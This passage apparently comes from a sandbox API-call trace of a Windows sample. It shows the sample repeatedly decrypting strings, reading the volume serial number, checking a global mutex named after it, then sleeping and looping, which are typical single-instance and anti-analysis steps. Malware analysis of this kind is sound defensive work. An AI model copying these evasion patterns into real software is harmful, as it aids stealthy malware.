	[0253.337] CryptDecrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68c618, pdwDataLen=0xfcf990 | out: pbData=0x68c618, pdwDataLen=0xfcf990) returned 1
	[0253.337] CryptDestroyKey (hKey=0x151440) returned 1
	[0253.337] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68c618 | out: hHeap=0x680000) returned 1
	[0253.337] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6892c0, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0253.337] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689090 | out: hHeap=0x680000) returned 1
	[0253.337] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689068 | out: hHeap=0x680000) returned 1
	[0253.337] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0253.337] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6892c0 | out: hHeap=0x680000) returned 1
	[0253.337] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x68d768
	[0253.337] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1516c0) returned 1
	[0253.337] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0253.337] CryptDecrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d768, pdwDataLen=0xfcf9ec | out: pbData=0x68d768, pdwDataLen=0xfcf9ec) returned 1
	[0253.337] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0253.337] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x689380
	[0253.337] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2f4
	[0253.338] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x0) returned 0x102
	[0253.338] CloseHandle (hObject=0x2f4) returned 1
	[0253.338] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d768 | out: hHeap=0x680000) returned 1
	[0253.338] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0253.338] Sleep (dwMilliseconds=0x3e8) 
	[0254.460] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x6892c0
	[0254.460] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x1513c0) returned 1
	[0254.460] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0254.460] CryptDecrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6892c0, pdwDataLen=0xfcf9b8 | out: pbData=0x6892c0, pdwDataLen=0xfcf9b8) returned 1
	[0254.460] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0254.460] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6891f8
	[0254.460] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689220
	[0254.460] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68cb70
	[0254.460] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x1515c0) returned 1
	[0254.460] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0254.460] CryptDecrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68cb70, pdwDataLen=0xfcf990 | out: pbData=0x68cb70, pdwDataLen=0xfcf990) returned 1
	[0254.460] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.460] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68cb70 | out: hHeap=0x680000) returned 1
	[0254.460] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6891f8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0254.460] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689220 | out: hHeap=0x680000) returned 1
	[0254.460] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6892c0 | out: hHeap=0x680000) returned 1
	[0254.460] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0254.461] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891f8 | out: hHeap=0x680000) returned 1
	[0254.461] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x68d918
	[0254.461] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151500) returned 1
	[0254.461] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0254.461] CryptDecrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d918, pdwDataLen=0xfcf9ec | out: pbData=0x68d918, pdwDataLen=0xfcf9ec) returned 1
	[0254.461] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.461] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x689380
	[0254.461] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2f4
	[0254.461] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x0) returned 0x102
	[0254.461] CloseHandle (hObject=0x2f4) returned 1
	[0254.461] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d918 | out: hHeap=0x680000) returned 1
	[0254.461] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0254.461] Sleep (dwMilliseconds=0x3e8) 
	[0255.830] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689310
	[0255.830] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151080) returned 1
	[0255.830] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0255.830] CryptDecrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689310, pdwDataLen=0xfcf9b8 | out: pbData=0x689310, pdwDataLen=0xfcf9b8) returned 1
	[0255.830] CryptDestroyKey (hKey=0x151080) returned 1
	[0255.830] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6891f8
	[0255.831] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689068
	[0255.831] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68c7e0
	[0255.831] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151340) returned 1
	[0255.831] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0255.831] CryptDecrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68c7e0, pdwDataLen=0xfcf990 | out: pbData=0x68c7e0, pdwDataLen=0xfcf990) returned 1
	[0255.831] CryptDestroyKey (hKey=0x151340) returned 1
	[0255.831] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68c7e0 | out: hHeap=0x680000) returned 1
	[0255.831] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6891f8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0255.831] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689068 | out: hHeap=0x680000) returned 1
	[0255.831] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689310 | out: hHeap=0x680000) returned 1
	[0255.831] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0255.831] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891f8 | out: hHeap=0x680000) returned 1
	[0255.831] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x68d4e0
	[0255.832] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1517c0) returned 1
	[0255.832] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0255.832] CryptDecrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d4e0, pdwDataLen=0xfcf9ec | out: pbData=0x68d4e0, pdwDataLen=0xfcf9ec) returned 1
	[0255.832] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0255.832] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x689380
	[0255.832] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c8
	[0255.832] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102
	[0255.832] CloseHandle (hObject=0x2c8) returned 1
	[0255.832] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d4e0 | out: hHeap=0x680000) returned 1
	[0255.832] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0255.832] Sleep (dwMilliseconds=0x3e8) 
	[0256.908] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689130
	[0256.908] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151340) returned 1
	[0256.908] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0256.908] CryptDecrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689130, pdwDataLen=0xfcf9b8 | out: pbData=0x689130, pdwDataLen=0xfcf9b8) returned 1
	[0256.908] CryptDestroyKey (hKey=0x151340) returned 1
	[0256.908] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6891a8
	[0256.908] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689180
	[0256.908] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68c580
	[0256.908] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151340) returned 1
	[0256.908] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0256.908] CryptDecrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68c580, pdwDataLen=0xfcf990 | out: pbData=0x68c580, pdwDataLen=0xfcf990) returned 1
	[0256.908] CryptDestroyKey (hKey=0x151340) returned 1
	[0256.908] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68c580 | out: hHeap=0x680000) returned 1
	[0256.908] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6891a8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0256.908] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689180 | out: hHeap=0x680000) returned 1
	[0256.908] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689130 | out: hHeap=0x680000) returned 1
	[0256.908] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0256.908] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891a8 | out: hHeap=0x680000) returned 1
	[0256.908] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x68d6d8
	[0256.908] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151640) returned 1
	[0256.908] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0256.908] CryptDecrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d6d8, pdwDataLen=0xfcf9ec | out: pbData=0x68d6d8, pdwDataLen=0xfcf9ec) returned 1
	[0256.908] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.908] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x689380
	[0256.908] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x310
	[0256.908] WaitForSingleObject (hHandle=0x310, dwMilliseconds=0x0) returned 0x102
	[0256.908] CloseHandle (hObject=0x310) returned 1
	[0256.908] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d6d8 | out: hHeap=0x680000) returned 1
	[0256.908] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0256.908] Sleep (dwMilliseconds=0x3e8) 
	[0257.972] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x688ff0
	[0257.972] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151340) returned 1
	[0257.972] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0257.972] CryptDecrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688ff0, pdwDataLen=0xfcf9b8 | out: pbData=0x688ff0, pdwDataLen=0xfcf9b8) returned 1
	[0257.972] CryptDestroyKey (hKey=0x151340) returned 1
	[0257.972] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6890b8
	[0257.972] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x688fc8
	[0257.972] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68d290
	[0257.972] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151040) returned 1
	[0257.973] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0257.973] CryptDecrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d290, pdwDataLen=0xfcf990 | out: pbData=0x68d290, pdwDataLen=0xfcf990) returned 1
	[0257.973] CryptDestroyKey (hKey=0x151040) returned 1
	[0257.973] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d290 | out: hHeap=0x680000) returned 1
	[0257.973] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6890b8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0257.973] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688fc8 | out: hHeap=0x680000) returned 1
	[0257.973] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688ff0 | out: hHeap=0x680000) returned 1
	[0257.973] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0257.973] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6890b8 | out: hHeap=0x680000) returned 1
	[0257.973] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x68db10
	[0257.973] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151100) returned 1
	[0257.973] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0257.973] CryptDecrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68db10, pdwDataLen=0xfcf9ec | out: pbData=0x68db10, pdwDataLen=0xfcf9ec) returned 1
	[0257.973] CryptDestroyKey (hKey=0x151100) returned 1
	[0257.973] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x681410
	[0257.973] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x25c
	[0257.973] WaitForSingleObject (hHandle=0x25c, dwMilliseconds=0x0) returned 0x102
	[0257.973] CloseHandle (hObject=0x25c) returned 1
	[0257.973] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68db10 | out: hHeap=0x680000) returned 1
	[0257.973] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681410 | out: hHeap=0x680000) returned 1
	[0257.973] Sleep (dwMilliseconds=0x3e8) 
	[0259.248] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x6892e8
	[0259.248] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151640) returned 1
	[0259.248] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0259.248] CryptDecrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6892e8, pdwDataLen=0xfcf9b8 | out: pbData=0x6892e8, pdwDataLen=0xfcf9b8) returned 1
	[0259.248] CryptDestroyKey (hKey=0x151640) returned 1
	[0259.248] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689180
	[0259.248] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689310
	[0259.248] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68c910
	[0259.248] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151100) returned 1
	[0259.249] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0259.249] CryptDecrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68c910, pdwDataLen=0xfcf990 | out: pbData=0x68c910, pdwDataLen=0xfcf990) returned 1
	[0259.249] CryptDestroyKey (hKey=0x151100) returned 1
	[0259.249] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68c910 | out: hHeap=0x680000) returned 1
	[0259.249] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689180, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0259.249] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689310 | out: hHeap=0x680000) returned 1
	[0259.249] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6892e8 | out: hHeap=0x680000) returned 1
	[0259.249] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0259.249] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689180 | out: hHeap=0x680000) returned 1
	[0259.249] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x68d600
	[0259.249] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151740) returned 1
	[0259.249] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0259.249] CryptDecrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d600, pdwDataLen=0xfcf9ec | out: pbData=0x68d600, pdwDataLen=0xfcf9ec) returned 1
	[0259.249] CryptDestroyKey (hKey=0x151740) returned 1
	[0259.249] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x681410
	[0259.249] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x250
	[0259.249] WaitForSingleObject (hHandle=0x250, dwMilliseconds=0x0) returned 0x102
	[0259.249] CloseHandle (hObject=0x250) returned 1
	[0259.249] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d600 | out: hHeap=0x680000) returned 1
	[0259.249] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681410 | out: hHeap=0x680000) returned 1
	[0259.249] Sleep (dwMilliseconds=0x3e8) 
	[0260.427] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x688fa0
	[0260.427] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151340) returned 1
	[0260.427] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0260.427] CryptDecrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688fa0, pdwDataLen=0xfcf9b8 | out: pbData=0x688fa0, pdwDataLen=0xfcf9b8) returned 1
	[0260.427] CryptDestroyKey (hKey=0x151340) returned 1
	[0260.427] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689040
	[0260.427] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689158
	[0260.427] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68c878
	[0260.427] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x1515c0) returned 1
	[0260.427] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0260.427] CryptDecrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68c878, pdwDataLen=0xfcf990 | out: pbData=0x68c878, pdwDataLen=0xfcf990) returned 1
	[0260.427] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0260.427] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68c878 | out: hHeap=0x680000) returned 1
	[0260.427] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689040, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0260.427] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689158 | out: hHeap=0x680000) returned 1
	[0260.427] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688fa0 | out: hHeap=0x680000) returned 1
	[0260.427] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0260.427] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689040 | out: hHeap=0x680000) returned 1
	[0260.427] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x68d3c0
	[0260.427] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151540) returned 1
	[0260.428] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0260.428] CryptDecrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d3c0, pdwDataLen=0xfcf9ec | out: pbData=0x68d3c0, pdwDataLen=0xfcf9ec) returned 1
	[0260.428] CryptDestroyKey (hKey=0x151540) returned 1
	[0260.428] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x681410
	[0260.428] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2f4
	[0260.428] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x0) returned 0x102
	[0260.428] CloseHandle (hObject=0x2f4) returned 1
	[0260.428] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d3c0 | out: hHeap=0x680000) returned 1
	[0260.428] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681410 | out: hHeap=0x680000) returned 1
	[0260.428] Sleep (dwMilliseconds=0x3e8) 
	[0261.434] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689130
	[0261.434] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151080) returned 1
	[0261.434] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0261.434] CryptDecrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689130, pdwDataLen=0xfcf9b8 | out: pbData=0x689130, pdwDataLen=0xfcf9b8) returned 1
	[0261.434] CryptDestroyKey (hKey=0x151080) returned 1
	[0261.434] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689248
	[0261.434] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689338
	[0261.434] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68c580
